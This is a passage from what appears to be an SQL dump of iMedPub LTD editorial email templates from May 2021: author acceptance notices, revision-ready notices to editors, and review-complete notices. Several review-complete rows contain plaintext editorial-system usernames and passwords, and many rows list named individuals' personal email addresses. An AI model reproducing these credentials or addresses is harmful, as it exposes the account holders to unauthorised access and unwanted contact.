<tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8086</b><br />\r\n            <br />\r\n            Article Title: <b>PSYCHOLOGICAL AND SOCIOECONOMIC PROBLEMS ON DIABETIC, CARDIAC AND OBESITY PATIENTS DURING COVID PANDEMIC </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>prince</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-21</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','greeshmaprince96@gmail.com',8086,'2021-05-21',48),(3167,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8174</b><br />\r\n            <br />\r\n            Article Title: <b>COVID-19 vaccine analysis in young adults</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Arjun Baweja</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Minic </b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipaom-21-8174</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','ivanminicc@yahoo.com',8174,'2021-05-22',85),(3173,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-21-8244</b><br />\r\n            <br />\r\n            Article Title: <b>Jejunal Diverticulosis perforation: rare cause of Acute Abdomen</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <b>Wang</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>IPJUS-21-8244</b> for the <b>Journal of Universal Surgery</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','ivywang@creighton.edu',8244,'2021-05-24',319),(3175,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8591</b><br />\r\n            <br />\r\n            Article Title: <b>SEXUAL ABUSE: SOCIAL INEQUALITY AND POVERTY</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Modesto Leite Rolim Neto</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Theodoros </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-8591</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> aslanidis<br />\r\n            <b>Password:</b> qD4MurMN<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','thaslan@hotmail.com',8591,'2021-05-24',85),(3176,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8592</b><br />\r\n            <br />\r\n            Article Title: <b>BEYOND THE LUNGS: SARS-COV-2 PATHWAYS TO THE NERVOUS SYSTEM AND ITS CONSEQUENCES.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Modesto Leite Rolim Neto</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Hiroaki </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-8592</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> satoh<br />\r\n            <b>Password:</b> 4CHdz3yc<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','hiroaki@fmu.ac.jp',8592,'2021-05-24',85),(3177,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-21-8389</b><br />\r\n            <br />\r\n            Article Title: <b>Comparison of serum electrolytes between Sickle cell and control group: A Meta-Analysis</b><br />\r\n            <br />\r\n            Journal Title: <b>Annals of Clinical and Laboratory Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Gouri</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaclr-21-8389</b> for the <b>Annals of Clinical and Laboratory Research</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','pharmagor@gmail.com',8389,'2021-05-24',984),(3178,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-21-8224</b><br />\r\n            <br />\r\n            Article Title: <b>ROLE OF VITAMIN D IN POLYCYSTIC OVARIAN SYNDROME PATIENTS </b><br />\r\n            <br />\r\n            Journal Title: <b>Annals of Clinical and Laboratory Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Gouri</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaclr-21-8224</b> for the <b>Annals of Clinical and Laboratory Research</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','pharmagor@gmail.com',8224,'2021-05-24',984),(3183,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8174</b><br />\r\n            <br />\r\n            Article Title: <b>COVID-19 vaccine analysis in young adults</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Minic </b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaom-21-8174</b> for the <b>Archives of Medicine</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','ivanminicc@yahoo.com',8174,'2021-05-25',85),(3184,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8174</b><br />\r\n            <br />\r\n            Article Title: <b>COVID-19 vaccine analysis in young adults</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Baweja</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-24</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Soniabajaj1@yahoo.com',8174,'2021-05-25',85),(3189,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8588</b><br />\r\n            <br />\r\n            Article Title: <b>CARDIOVASCULAR SYSTEM AND SARS-COV-2 &ndash; ETIOLOGY, PHYSIOPATHOLOGY AND CLINICAL PRESENTATION: A SYSTEMATIC REVIEW</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Modesto Leite Rolim Neto</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Hiroaki </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-8588</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> satoh<br />\r\n            <b>Password:</b> 4CHdz3yc<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','hiroaki@fmu.ac.jp',8588,'2021-05-25',85),(3200,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-21-8170</b><br />\r\n            <br />\r\n            Article Title: <b>Varicella Hospitalizations and Community-Acquired Methicillin-Resistant Staphylococcus aureus: Seven Years of Active Surveillance</b><br />\r\n            <br />\r\n            Journal Title: <b>Annals of Clinical and Laboratory Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Latinovic</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaclr-21-8170</b> for the <b>Annals of Clinical and Laboratory Research</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','olatinovic@ihv.umaryland.edu',8170,'2021-05-26',984),(3203,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8408</b><br />\r\n            <br />\r\n            Article Title: <b>LIFESTYLE FACTORS AS RISK FACTORS AND TREATMENT OPTIONS IN TENDINOPATHY</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Jaap Wonders</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>A. Ewy</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-8408</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> gordon<br />\r\n            <b>Password:</b> 93KRboWl<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','GAEWY1933@gmail.com',8408,'2021-05-26',85),(3204,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-21-8389</b><br />\r\n            <br />\r\n            Article Title: <b>Comparison of serum electrolytes between Sickle cell and control group: A Meta-Analysis</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.aclr.com.es/\" target=\"_blank\">Annals of Clinical and Laboratory Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>BANSAL</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Annals of Clinical and Laboratory Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@galleyproofs.com\">accounting@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','BANSALABHISHEK99@GMAIL.COM',8389,'2021-05-26',984),(3205,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-21-8224</b><br />\r\n            <br />\r\n            Article Title: <b>ROLE OF VITAMIN D IN POLYCYSTIC OVARIAN SYNDROME PATIENTS </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.aclr.com.es/\" target=\"_blank\">Annals of Clinical and Laboratory Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>KHARB</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Annals of Clinical and Laboratory Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@galleyproofs.com\">accounting@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','simmikh@gmail.com',8224,'2021-05-26',984),(3207,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8408</b><br />\r\n            <br />\r\n            Article Title: <b>LIFESTYLE FACTORS AS RISK FACTORS AND TREATMENT OPTIONS IN TENDINOPATHY</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Wonders</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','jaap@smc-rijnland.nl',8408,'2021-05-27',85),(3208,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8490</b><br />\r\n            <br />\r\n            Article Title: <b>Gastric Outlet Obstruction due to Primary Duodenal Tuberculosis &acirc;&euro;&ldquo; Case report on rare presentation of an uncommon condition</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Dr Ajaykumar Pandey</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Minic </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-8490</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> ivann<br />\r\n            <b>Password:</b> UqeyShwL<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ivanminicc@yahoo.com',8490,'2021-05-28',85),(3210,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8490</b><br />\r\n            <br />\r\n            Article Title: <b>Gastric Outlet Obstruction due to Primary Duodenal Tuberculosis &acirc;&euro;&ldquo; Case report on rare presentation of an uncommon condition</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Pandey</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','drajaypandey@yahoo.in',8490,'2021-05-28',85),(3212,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8519</b><br />\r\n            <br />\r\n            Article Title: <b>Evaluation of the bacteriological quality of milk sold in Nnewi, Nigeria </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ezugwu</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','nwafornnenna@gmail.com',8519,'2021-05-28',48),(3213,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8429</b><br />\r\n            <br />\r\n            Article Title: <b>Infection prevention through Isolation room designs in COVID&rsquo;19</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mehta</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science 